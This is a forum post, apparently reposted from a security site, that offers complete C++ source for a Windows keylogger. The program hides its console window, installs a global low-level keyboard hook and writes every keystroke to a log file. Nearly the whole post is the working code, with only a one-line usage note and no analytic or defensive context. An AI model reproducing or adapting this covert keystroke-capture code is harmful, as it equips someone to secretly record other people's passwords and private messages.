[C++] Simple KeyLogger using Keyboard Hook

[Nytro]

[C++] Simple KeyLogger using Keyboard Hook

When invoking this program, you can optionally set an argument to specify the filename to output logs to.

#include <Windows.h>
#include <stdio.h>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void log(char *str);
char *translate(int vk,int up);

int shift=0, caps=0;
FILE *fd;

int main(int argc, char *argv[]) {
        HWND self=GetConsoleWindow();
        ShowWindow(self,SW_HIDE);
        HINSTANCE app=GetModuleHandle(NULL);
        SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,app,0);
        MSG msg;
        char *fname = (char*)malloc(500);
        if (argc<2) {
                strcpy(fname,"kl");
        } else {
                strcpy(fname,argv[1]);
        }
        fd=fopen(fname,"w");
        while (GetMessage(&msg,NULL,0,0)>0) {
                ShowWindow(self,SW_HIDE);
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        fflush(fd);
        fclose(fd);
        return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam;
        char *str="[X]";
        if (wParam==WM_KEYUP) {
                str=translate(kb->vkCode,1);
        } else if (wParam==WM_KEYDOWN) {
                str=translate(kb->vkCode,0);
        }
        if (str) log(str);
        return 0;
}

void log(char *str) {
        fwrite(str,1,strlen(str),fd);
        if (strstr(str," ")||strstr(str,"[CR]")) fflush(fd);
}

char* translate(int vk, int up) {
        if (up) {
                if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) shift=0;
                return 0;
        } else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) {
                shift=1; return 0;
        }
        char *buf=(char*)malloc(16);
        memset(buf,0,16);
        if (vk<0x29) {
        switch (vk) {
                case 0x08: strcpy(buf,"[BS]"); break;
                case 0x09: strcpy(buf,"[TAB]"); break;
                case 0x0d: strcpy(buf,"[CR]"); break;
                case 0x14: caps^=1; break;
                case 0x20: buf[0]=' '; break;
                case 0x25: strcpy(buf,"[LT]"); break;
                case 0x26: strcpy(buf,"[UP]"); break;
                case 0x27: strcpy(buf,"[RT]"); break;
                case 0x28: strcpy(buf,"[DN]"); break;
        }
        return buf;
        }
                if (vk>0x69&&vk<0x70) {
                        buf[0]=(char)(vk-0x40);
            } else if (vk>0x6f&&vk<0x88) {
                        sprintf(buf,"[F%d]",vk-0x6f);
                } else if (isalpha(vk)) {
                        if (!caps)
                                if (shift) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char)(tolower(vk));}
                        else
                                if (!shift) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char)(tolower(vk));}
                } else {
                        switch (vk) {
                        case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break;
                        case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break;
                        case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break;
                        case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break;
                        case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break;
                        case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break;
                        case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break;
                        case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break;
                        case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break;
                        case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break;
                        case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break;
                        case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break;
                        case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break;
                        case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break;
                        case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break;
                        case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break;
                        case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break;
                        case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break;
                        case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break;
                        case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break;
                        case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break;
                        }
                }
        return buf;
}

Sursa: Simple Logger using Keyboard Hook - r00tsecurity